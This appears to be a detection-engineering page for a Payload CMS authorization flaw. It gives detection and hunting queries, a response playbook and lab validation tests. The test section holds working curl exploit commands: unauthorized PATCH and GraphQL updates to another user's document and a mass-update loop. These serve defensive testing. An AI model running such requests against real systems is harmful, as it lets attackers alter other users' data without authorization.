Payload CMS Unauthorized Collection Document Update (CVE-2026-105859)
Detects exploitation of CVE-2026-105859, an authorization flaw (CWE-639, CWE-862) in Payload CMS (npm 'payload'). The flaw affects versions before 3.90.0 and canary versions before 4.0.0-canary.34. It lets an attacker submit a request to a specific endpoint that updates collection documents without enforcing collection or field-level access control, when orderable is enabled on a collection or join field. Detection focuses on HTTP PATCH/PUT/POST requests to Payload's REST API collection endpoints (/api/<collection>/<id>) and GraphQL update mutations that succeed (2xx) for principals whose role or ownership does not match the modified document, as well as anomalous update volume to collections. CVSS base score 9.8.
Vulnerability Intelligence
TheoreticalAffected Software
- Vendor
- npm
- Product
- payload
- Versions
- < 3.90.0, >= 4.0.0-canary.0, < 4.0.0-canary.34
Timeline
- Disclosed
- October 7, 2026
References & Proof of Concept
- https://github.com/payloadcms/payload/security/advisories/GHSA-f7hx-52q9-hcrf
- https://nvd.nist.gov/vuln/detail/CVE-2026-105859
- https://github.com/payloadcms/payload/commit/36fa9af73dd04fa59f4b4a06d11454538c4c1409
- https://github.com/payloadcms/payload/releases/tag/v3.90.0
- https://github.com/advisories/GHSA-f7hx-52q9-hcrf
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
What is CVE-2026-105859 Payload CMS Unauthorized Collection Document Update (CVE-2026-105859)?
Payload CMS Unauthorized Collection Document Update (CVE-2026-105859) (CVE-2026-105859) maps to the Privilege Escalation tactic — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.
This page provides production-ready detection logic for Payload CMS Unauthorized Collection Document Update (CVE-2026-105859), covering the data sources and telemetry it touches: IIS/Reverse-proxy HTTP access logs, Application gateway logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Privilege Escalation
// df00tech DF00-de9197fa0a · https://df00tech.com/detections/CVE-2026-105859 · licence: https://df00tech.com/detections/licence
let payloadHosts = dynamic([]); // optional: restrict to known Payload app hosts
W3CIISLog
| where csUriStem startswith "/api/"
| where csMethod in ("PATCH", "PUT", "POST")
| extend seg = split(trim_start(@"/", csUriStem), "/")
| where array_length(seg) >= 3 and seg[0] == "api"
| extend collection = tostring(seg[1]), docId = tostring(seg[2])
| where isnotempty(docId) and docId !in ("", "count", "me", "logout", "login", "refresh-token")
| where scStatus between (200 .. 299)
| summarize updates = count(), docs = dcount(docId), collections = make_set(collection, 20) by cIP, csUsername, bin(TimeGenerated, 10m)
| where updates >= 10 or docs >= 10
| project TimeGenerated, cIP, csUsername, updates, docs, collections Flags high-volume or high-cardinality successful update requests against Payload REST collection document endpoints from a single client or user.
Data Sources
Required Tables
False Positives
- Legitimate bulk editors or content migration scripts updating many documents in a short window.
- CI/CD or seeding jobs that batch-update collection documents during deployment.
- Admin users performing routine large content updates via the Payload admin UI.
Query fingerprint DF00-de9197fa0a · licence
Sigma logsource & community rules
The detection logic for Payload CMS Unauthorized Collection Document Update (CVE-2026-105859) (CVE-2026-105859) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-105859
References (5)
- https://github.com/payloadcms/payload/security/advisories/GHSA-f7hx-52q9-hcrf
- https://nvd.nist.gov/vuln/detail/CVE-2026-105859
- https://github.com/payloadcms/payload/commit/36fa9af73dd04fa59f4b4a06d11454538c4c1409
- https://github.com/payloadcms/payload/releases/tag/v3.90.0
- https://github.com/advisories/GHSA-f7hx-52q9-hcrf
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Unauthorized REST update to another user's document
Expected signal: Web access log entry: PATCH /api/posts/VICTIM_DOC_ID 200 with the low-privileged user's identity.
- Test 2 GraphQL update mutation across ownership boundary
Expected signal: POST /api/graphql 200 containing an updatePost mutation from a non-owner principal.
- Test 3 Scripted mass update of collection documents
Expected signal: 15 successive PATCH /api/posts/<id> 2xx entries from one IP/user within a short window.
Response Playbook
Triage
- Identify the affected application's Payload CMS version; confirm whether it is before 3.90.0 or in the 4.0.0-canary.0 to canary.33 range via package.json, lockfile, or the /api/access response.
- For each flagged request, determine the authenticated principal (user ID, role, API key) and whether that principal has legitimate update rights to the targeted collection and document (ownership/tenant match).
- Review the modified documents' audit/version history to establish what fields changed and whether privilege-relevant fields (e.g. roles, ownership, status, access flags) were altered.
- Correlate the source IP and session/token with the user's normal behaviour baseline (geo, device, prior update cadence).
Containment
- Upgrade Payload to 3.90.0 or later (or a 4.0.0 release at or after canary.34) to restore correct per-document access control.
- Revoke or rotate the API keys or sessions of the implicated principal and, if abuse is confirmed, disable the account pending investigation.
- Temporarily restrict write access to affected collections (read-only or stricter access-control functions) at the application or reverse-proxy layer until patched.
Evidence Collection
- Preserve web/reverse-proxy access logs and Payload application logs covering the suspect requests, including method, URL, status, and authenticated user.
- Export the Payload document version history for all modified documents to capture before/after field states.
- Capture the raw request bodies (where logged) and the associated JWT/API-key identifiers used in the update calls.
Escalation Criteria
- ! Escalate to incident response if privilege-relevant fields (roles, ownership, access, publication status) were modified on documents the principal did not own.
- ! Escalate if updates affected security-sensitive collections (users, admins, API keys, access policies) or crossed tenant boundaries in a multi-tenant deployment.
Investigation Guide
Forensic Artifacts
- >
Payload document version/audit records showing unauthorized field changes. - >
Web/reverse-proxy access logs with method, endpoint, status, and principal. - >
JWT / API-key identifiers and session records tied to the update requests.
Tuning Guidance
Allowlist known bulk-editor accounts, migration service accounts, and CI/CD runner IPs that legitimately perform batch updates. Tune the update/doc-count thresholds to your content team's normal cadence, and prioritise alerts where the modified collection is security-sensitive (users, access policies) or where the principal does not own the modified document. Prefer enriching with per-document ownership data where available to convert volume heuristics into true authorization-mismatch detections.
Hunting Queries
Baselines successful update activity per user/IP against Payload collection endpoints to surface outliers consistent with authorization-mismatch abuse.
// df00tech DF00-de9197fa0a · https://df00tech.com/detections/CVE-2026-105859 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem startswith "/api/" and csMethod in ("PATCH","PUT","POST") and scStatus between (200 .. 299) | summarize count() by csUsername, cIP, bin(TimeGenerated, 1h) | order by count_ desc ``` df00tech DF00-de9197fa0a · https://df00tech.com/detections/CVE-2026-105859 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="/api/*" (method=PATCH OR method=PUT OR method=POST) status>=200 status<=299 | stats count by user clientip | sort - count Atomic Red Team Tests
As a low-privileged authenticated user, send a PATCH to a collection document owned by another user and observe a successful (2xx) update on a vulnerable Payload version.
Command
curl -s -X PATCH "http://localhost:3000/api/posts/VICTIM_DOC_ID" -H "Authorization: JWT $LOWPRIV_TOKEN" -H "Content-Type: application/json" -d '{"title":"owned-by-idor"}' -o /tmp/payload_idor_resp.json -w '%{http_code}\n' Cleanup
curl -s -X PATCH "http://localhost:3000/api/posts/VICTIM_DOC_ID" -H "Authorization: JWT $ADMIN_TOKEN" -H "Content-Type: application/json" -d '{"title":"original"}' >/dev/null; rm -f /tmp/payload_idor_resp.json Expected Telemetry
Web access log entry: PATCH /api/posts/VICTIM_DOC_ID 200 with the low-privileged user's identity.
Expected Detection
KQL/SPL update-volume or authorization-mismatch rule fires on a successful update by a principal that does not own the document.
Invoke the Payload GraphQL updatePosts mutation targeting a document the caller does not own, expecting success on vulnerable versions.
Command
curl -s -X POST "http://localhost:3000/api/graphql" -H "Authorization: JWT $LOWPRIV_TOKEN" -H "Content-Type: application/json" -d '{"query":"mutation{ updatePost(id:\"VICTIM_DOC_ID\", data:{title:\"idor-gql\"}){ id title } }"}' -w '\n%{http_code}\n' Cleanup
curl -s -X POST "http://localhost:3000/api/graphql" -H "Authorization: JWT $ADMIN_TOKEN" -H "Content-Type: application/json" -d '{"query":"mutation{ updatePost(id:\"VICTIM_DOC_ID\", data:{title:\"original\"}){ id } }"}' >/dev/null Expected Telemetry
POST /api/graphql 200 containing an updatePost mutation from a non-owner principal.
Expected Detection
GraphQL update mutation by a non-owner surfaces in the update-activity hunt and authorization-mismatch review.
Iterate PATCH requests across many document IDs to simulate automated mass-update abuse and trigger the volume/cardinality detection.
Command
for id in $(seq 1 15); do curl -s -X PATCH "http://localhost:3000/api/posts/DOC_$id" -H "Authorization: JWT $LOWPRIV_TOKEN" -H "Content-Type: application/json" -d '{"title":"mass-idor"}' -o /dev/null -w '%{http_code}\n'; done Cleanup
for id in $(seq 1 15); do curl -s -X PATCH "http://localhost:3000/api/posts/DOC_$id" -H "Authorization: JWT $ADMIN_TOKEN" -H "Content-Type: application/json" -d '{"title":"original"}' >/dev/null; done Expected Telemetry
15 successive PATCH /api/posts/<id> 2xx entries from one IP/user within a short window.
Expected Detection
Volume/cardinality rule (updates>=10 or docs>=10 in 10m) fires for the source IP/user.
Related Detections
Tactic Hub
Related Techniques
Same Tactic: Privilege Escalation
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040